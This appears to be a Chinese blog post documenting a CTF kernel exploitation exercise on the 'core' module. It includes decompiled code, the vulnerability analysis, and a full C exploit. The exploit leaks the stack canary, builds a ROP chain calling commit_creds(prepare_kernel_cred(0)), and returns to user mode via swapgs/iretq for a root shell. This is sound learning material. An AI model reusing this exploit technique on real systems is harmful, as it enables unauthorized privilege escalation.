0%

kernelpwn第二道题

kernelrop

不知道为啥今天忽然很累(可能是昨晚没睡好?),不怎么想学习,但想起来自己的kernelpwn才入门两天,不能在这个时候颓废,还是撸起袖子加油干吧。

今天看kernelpwn的第二道题

找题找了一会,忽然翻到了一个大佬的博客,是需要仰望的那种,很厉害啊。

题目分析

脚本分析

启动脚本

1
2
3
4
5
6
7
8
9
10
rootzhang@rootzhang-virtual-machine:~/kernelstudy/pwn2/give_to_player$ cat ./start.sh
qemu-system-x86_64 \
-m 64M \
-kernel ./bzImage \
-initrd ./core.cpio \
-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
-s \
-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
-nographic \

-append选项是启动时的附加选项,’quiet kaslr’代表启动kaslr,其他的我也看不懂😴

文件系统的init

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

有几行不能理解做了做下记录

/proc/kallsyms:开发者为了方便调试内核代码,将内核中的所有函数和非栈变量的地址抽取出来,形成一个符号表(符号对应地址),kallsyms就能查看这个符号表,cat /proc/kallsyms > /tmp/kallsyms就是把/proc/kallsyms保存到tmp/kallsyms中去.

ktr_restrict&dmesg_restrict:这个文件控制是否可以打印内核地址,当他等于0的时候是可以直接通过kallsyms直接打印地址,当等于1的时候就不能能直接打印了。dmesg_restrict文件能够控制dmesg命令能否直接打印内核缓存区的值,当他为1的时候dmesg就不能直接打印。两个命令的组合拳导致无法直接/proc/kallsyms查看内核地址,但是没有禁止/tmp/kallsyms。

poweroff -d 120 -f &:这是定时关机的命令,直接注释掉

通过init文件的查看可以锁定core.ko,通过checksec查看保护

1
2
3
4
5
6
[*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/rootfs/core.cpio/core.ko'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x0)

对昨天关于内核保护和用户态保护有个初步的猜想,.ko文件估计两个保护都有,可见有canary保护和nx.

.ko文件分析

init_module

1
2
3
4
5
6
__int64 init_module()
{
core_proc = proc_create("core", 438LL, 0LL, &core_fops);
printk(&unk_2DE);
return 0LL;
}

这个函数是模块被加载到内核的执行的,proc_create函数的作用是在proc文件夹在产生一个虚拟的文件core,用户态就可以利用这个文件和模块通信了。

core_ioctl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
switch ( a2 )
{
case 1719109787:
core_read(a3);
break;
case 1719109788:
printk(&unk_2CD);
off = a3;
break;
case 1719109786:
printk(&unk_2B3);
core_copy_func(a3);
break;
}
return 0LL;
}

设置了三条命令,分别是core_read(),设置全局变量off(我的判断:不是栈空间的变量就是全局变量),和core_copy_func().

core_read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned __int64 __fastcall core_read(__int64 a1)
{
char *v2; // rdi
__int64 i; // rcx
unsigned __int64 result; // rax
char v5[64]; // [rsp+0h] [rbp-50h] BYREF
unsigned __int64 v6; // [rsp+40h] [rbp-10h]

v6 = __readgsqword(0x28u);
printk(&unk_25B);
printk(&unk_275);
v2 = v5;
for ( i = 16LL; i; --i )
{
*(_DWORD *)v2 = 0;
v2 += 4;
}
strcpy(v5, "Welcome to the QWB CTF challenge.\n");
result = copy_to_user(a1, &v5[off], 64LL);
if ( !result )
return __readgsqword(0x28u) ^ v6;
__asm { swapgs }
return result;
}

把从&v5[off]开始拷贝64个字节到用户态。off我们可控,那就代表着泄露敏感信息。__asm { swapgs }这个是切换用户态和内核态的指令。

core_copy_func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
__int64 __fastcall core_copy_func(__int64 a1)
{
__int64 result; // rax
_QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF

v2[8] = __readgsqword(0x28u);
printk(&unk_215);
if ( a1 > 63 )
{
printk(&unk_2A1);
result = 0xFFFFFFFFLL;
}
else
{
result = 0LL;
qmemcpy(v2, &name, (unsigned __int16)a1);
}
return result;
}

把全局变量name拷贝a1个字节到v2,a1可以整数溢出,所以可以栈溢出了。

core_write

1
2
3
4
5
6
7
8
9
10
11
signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
{
unsigned __int64 v3; // rbx

v3 = a3;
printk("\x016core: called core_writen");
if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
return (unsigned int)v3;
printk("\x016core: error copying data from userspacen");
return 0xFFFFFFF2LL;
}

可以向name copy很多的字节

漏洞利用

思路:先设置off的值,然后通过core_read()函数leak出canary,然后通过core_write函数向name写rop,然后通过coe_copy_func函数把rop给copy到栈上执行rop。

这是我的大致思路(完全借鉴),至于rop怎么构造怎么提权,怎么返回用户态执行system(‘/bin/sh’)函数都还大致不清楚,等我慢慢钻研。

这是我复刻的脚本,和wiki上的查重率应该能超过百分之70,但好在是自己一个一个字符敲的,在写(抄)的过程中也知道很理解了很多东西,也不得不感叹c语言的强大(指针和内存控制)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
void usr_shell(){
if(getuid()==0){
printf("[*]----getshell ok");
system("/bin/sh");
}else{
puts("[*] getshell fail");
}
exit(0);
}

size_t commit_creds=0;
size_t prepare_kernel_cred=0;
size_t raw_vmlinux_base=0xffffffff81000000;
size_t vmlinux_base=0;
size_t find_symbols(){
FILE* kallsyms_fd=fopen("/tmp/kallsyms","r");
if(kallsyms_fd<0){
puts("[*]opne kallsyms error");
exit(0);
}
char buf[0x30]={0};
while (fgets(buf,0x30,kallsyms_fd))
{
if(commit_creds&prepare_kernel_cred){
return 0;
}
if(strstr(buf,"commit_creds")&&!commit_creds){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&commit_creds);
printf("commit_creds_addr:%p\n",commit_creds);
vmlinux_base=commit_creds-0x9c8e0;
printf("vmlinux_base_addr:%p",vmlinux_base);

}
if(strstr(buf,"prepare_kernel_cred")&&!prepare_kernel_cred){
char hex[20]={0};
strncpy(hex,buf,16);
sscanf(hex,"%llx",&prepare_kernel_cred);
printf("prepare_kernel_cred_addr:%p\n",prepare_kernel_cred);
vmlinux_base=prepare_kernel_cred-0x9cce0;


}
}
if(!(prepare_kernel_cred&commit_creds)){
puts("[*]addr error");
exit(0);
}
}
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}
void set_off(int fd,long long idx){
printf("[*]set off to %ld\n",idx);
ioctl(fd,0x6677889c,idx);
}
void core_read(int fd,char *buf){
puts("[*]read to buf.");
ioctl(fd, 0x6677889B, buf);
}
void core_copy_func(int fd,long long size){
printf("[*]copy from user with size :%ld\n",size);
ioctl(fd, 0x6677889A, size);
}

int main(){
save_status();
int fd=open("/proc/core",2);
if(fd<0){
puts("[*]open core error");
exit(0);
}
find_symbols();
ssize_t offset=vmlinux_base-raw_vmlinux_base;
set_off(fd,0x40);
char buf[0x40]={0};
core_read(fd,buf);
size_t canary=((size_t *)buf)[0];
printf("[*]canary: %p\n",canary);
size_t rop[0x1000]={0};
int i;
for(i=0;i<10;i++){
rop[i]=canary;
}
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
rop[i++] = 0;
rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0)

rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx;
rop[i++] = commit_creds;

rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)usr_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
write(fd,rop,0x800);
core_copy_func(fd,0xffffffffffff0000 | (0x100));
}

脚本中有很多东西值得思考学习。

asm

这是c语言的内联汇编代码关键字,通过他可以在c语言内执行汇编代码,比如上面这个函数

1
2
3
4
5
6
7
8
9
10
11
size_t user_cs,user_ss,user_rflags,user_sp;
void save_status(){
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[*]status has ben saved.");
}

然后在main函数内调用savestatus函数就能执行这段汇编代码了。不过要注意在编译的时候得加上-masm=intel.我百度了一下发现他们用内联汇编都是__asm{},像脚本里这样写还是不多,然后他们使用汇编对程序的变量赋值都是采用占位符的方式,脚本里也直接用变量名了,可能是什么另类的方式😃,这段汇编的作用就是记录用户态的信息,等会rop返回用户态的时候用。

find_symbols

通过这个函数打开tmp/kallsyms文件,这个文件记录着内核态的所有符号信息以及对应的地址,当使用命令行打开这个文件是这样的(我随便截的)

1
2
3
4
5
6
7
ffffffff866dcbf0 t qdisc_lookup_default
ffffffff866dcc40 T __qdisc_calculate_pkt_len
ffffffff866dcca0 t stab_kfree_rcu
ffffffff866dccb0 T qdisc_watchdog_init
ffffffff866dcce0 t qdisc_watchdog
ffffffff866dcd00 T qdisc_watchdog_cancel
ffffffff866dcd10 T qdisc_class_hash_destroy

在脚本里是0x30字符读一次,我他脚本里读的东西输出试试

1
2
3
4
ffffffffb6499720 T func_ptr_is_kernel_text

ffffffffb6499770 t param_array_free

是这种输出形式的,应该是每一列都是0x30个字符,所以读的时候fgets(buf,0x30,kakksyms_fd)刚好是读一列,然后查看每一列是否包含commit_credsprepare_kernel_cred字符串,如果有的话就把前面的地址读出来。

计算地址

计算地址的方式也和用户态不一样,看脚本的时候没看懂,慢慢敲的时候才想明白,在用户态我们一般是求出基地址然后加上偏移量确定地址,求出偏移量的方式类似libc.sym['__malloc_hook'](可能libc的逻辑基地址就是0),但使用elf.sym[]求内核某一符号的地址,得到的不是偏移量而是逻辑地址,比如下面

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Python 2.7.12 (default, Mar  1 2021, 11:38:31) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> vmlinux=ELF("./vmlinux")
[*] '/home/rootzhang/kernelstudy/pwn2/give_to_player/vmlinux'
Arch: amd64-64-little
Version: 4.15.8
RELRO: No RELRO
Stack: Canary found
NX: NX disabled
PIE: No PIE (0xffffffff81000000)
RWX: Has RWX segments
>>> hex(vmlinux.sym["commit_creds"])
'0xffffffff8107fc8d'

所以要算出偏移量的话还得减去vmlinux的逻辑基地址

1
2
>>> hex(vmlinux.sym['commit_creds'] - 0xffffffff81000000)
'0x9c8e0'

在利用kallsyms得到commit_creds基地址后减去'0x9c8e0'就是真实的虚拟基地址了,脚本中的0ffset不是gadget的偏移量,而是逻辑基地址和虚拟基地址的差值,再加上gadget的逻辑地址就是这个gadget的虚拟地址了。

寻找gadget的方法如下

1
2
3
4
#把汇编提取出来然后在gadget里面搜索
objdump -d vmlinux > gadget
#我不知道怎么高效搜索,我是这样搜的,搜出来一大堆东西,目前只能肉眼去找
grep -E "pop|ret" ./gadget

返回用户态

前面都是小兵,处理完小兵后该屠大龙了。

之前有稍微介绍过如何状态切换,总结起来就是两个指令,一个是swapgs,一个是iretq

首先介绍几个重要寄存器

1
2
3
4
5
6
cs是代码段寄存器
ds是数据段寄存器
ss是堆栈段寄存器
es是扩展段寄存器
fs是标志段寄存器
gs是全局段寄存器

swapgs:这个指令是切换GS寄存器的值,内核态或者用户态的GS寄存器的值储存在某个地方,如果要切换的话,就和这个值进行交换。

iretq:恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等),执行iretq的时候会自动pop出四个值,分别是user_cs,user_rflags,user_sp,user_ss

所以恢复到用户态并执行system(“/bin/sh”)的rop这样构造

1
2
3
4
5
6
7
8
9
10
11
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
rop[i++] = 0;

rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;

rop[i++] = (size_t)spawn_shell; // rip

rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

其中后面pop的值是我们前面通过内联汇编找到的

1
2
3
4
5
6
7
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp,rsp;"
"pushf;"
"pop user_rflags;"
);

其中pushf就是push状态标志寄存器的值也就是rflags,然后pop接收。

开始调试

调试过程就省略了,不过我终于搞明白这个rop最难理解的地方了,原来call会先把一个地址压栈然后才去执行地址,所以的pop rcx.扫噶,不过有一说一调试内核gdb运行的真的慢。

总结

今天了解到了很多知识,感觉还不错,哦对最近写知识总结的时候总喜欢听着一首写

1
2
3
列车粗糙而过
叫醒我频频失神
---我会在每个有意义的时辰